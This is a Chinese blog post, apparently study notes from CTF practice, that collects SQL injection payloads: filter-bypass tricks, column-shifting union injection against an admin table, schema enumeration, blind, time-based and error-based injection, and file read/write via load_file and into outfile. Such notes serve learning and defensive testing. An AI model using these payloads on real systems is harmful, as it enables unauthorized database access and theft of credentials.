时间:2021-07-01 10:21:17 帮助过:5人阅读
目录
前段时间刷了技能树,趁热打铁,把学到的知识点总结一下
寻找可控参数
绕过限制
‘
or 1=1
和 恒假式and 1=2
and if(1,(select asd from asd),0)
and if(1,sleep(5),0)
param[]=xxx
,查看有无报错信息and (select 1 from (select count(*), concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
这一步可以根据ban掉的关键字/函数,以及自己推测出的SQL语句来完成
注释符号过滤:
/**/
--%a0
AND OR 过滤:
单引号过滤:
用hex编码绕过:
union select * from admin where username = 0x61646D696E
用CHAR函数来绕过:
union select * from admin where username = CHAR(97, 100, 109, 105, 110)
逗号过滤:
union select 1,2,3, 可用join绕过:
union select * from((select 1)a join (select 2)b join (select 3)c)
substring((select flag from flag),2,1) 可用from x for x绕过:
substring((select flag from flag) from 2 for 1)
limit 2,1 可用offset绕过:
limit 1 offset 2
union过滤,可用盲注绕过:
?id=1‘ and (select username from admin)=‘admin‘ %23
where过滤:
用limit绕过:
union select 1,2,table_name from information_schema.tables limit 4,1 %23
用group_concat绕过:
union select 1,2,group_concat(table_name) from information_schema.tables %23
注意:group_concat函数有最大长度限制
用group_concat配合group by绕过:
union select 1,2,group_concat(table_name) from information_schema.tables group by table_schema having table_schema=‘test‘ %23
用group_concat配合子查询+limit绕过:
union select 1,2,group_concat(table_name) from (select table_name from information_schema.tables limit 10,10)a %23
字段名过滤:
可使用移位溢注绕过:
场景:
假设,可通过 ?id=1‘ union select 1,2,3,4,5 %23 知道3是回显位
但admin表中id,username,password三个字段都被ban掉
条件:
当前表的字段数 > 目标表的字段数 (返回字段数>可显示字段数时,会报错)
当前表的字段数 >= 2*目标表的字段数 - 1 时,效果最好
回显位最好是中间段
原理:
可用用admin.*来代替id,username,password
通过下面代码来获取目标表的字段数
?id=1‘ union select admin.* from admin %23
?id=1‘ union select 1,admin.* from admin %23
?id=1‘ union select 1,2,admin.* from admin %23
之后就可以进行移位溢注:
?id=1‘ union select 1,2,admin.* from admin %23
?id=1‘ union select 1,admin.*,5 from admin %23
?id=1‘ union select admin.*,4,5 from admin %23
子查询绕过:
条件
当目标表的字段数 > 当前表的字段数时:
原理
可在子查询中使用order by来获取目标表的字段数:
?id=1‘ union select 1,2,3,4,5 from (select * from admin order by 3)x %23
通过构造子查询,给本来被ban的字段换了个‘名字‘
先构造子查询的联合查询语句并指定别名,然后对这个子查询结果集进行查询:
?id=1‘ union select 1,2,admin_x,4,5 from (select 1 as admin_1, 2 as admin_2, 3 as admin_3 from admin where 1=2 union select * from admin)x %23
@@version 显示版本
@@datadir 显示当前目录
user() 查询用户名
database() 查询数据库名
information_schema.schemata 所有的数据库名
information_schema.tables 数据库中的表名
information_schema.columns 表中的字段名
table_name 表名
column_name 字段名
load_file(_absolute\_path_) 加载文件
into outfile _absolute\_path_ 写入文件
爆库名:
select group_concat(schema_name) from information_schema.schemata
select databse()
爆表名:
select group_concat(table_name) from information_schema.tables where table_schema='xx'
爆字段名:
select group_concat(column_name) from information_schema.columns where
table_name='xx'
布尔注入:
and if(1,(select asd from asd), 1)
延时注入:
and sleep(5)
and if(1,sleep(5),1)
floor报错注入:
and (select 1 from (select count(*),concat(shema_name,floor(rand(0)*2))x from information_schema.schemata group by x)a)
updatexml报错注入:
or updatexml(0x7e,(version()),0) or
未完待续
SQL注入
标签:字段 -- floor 移位 admin 长度限制 fse 假设 join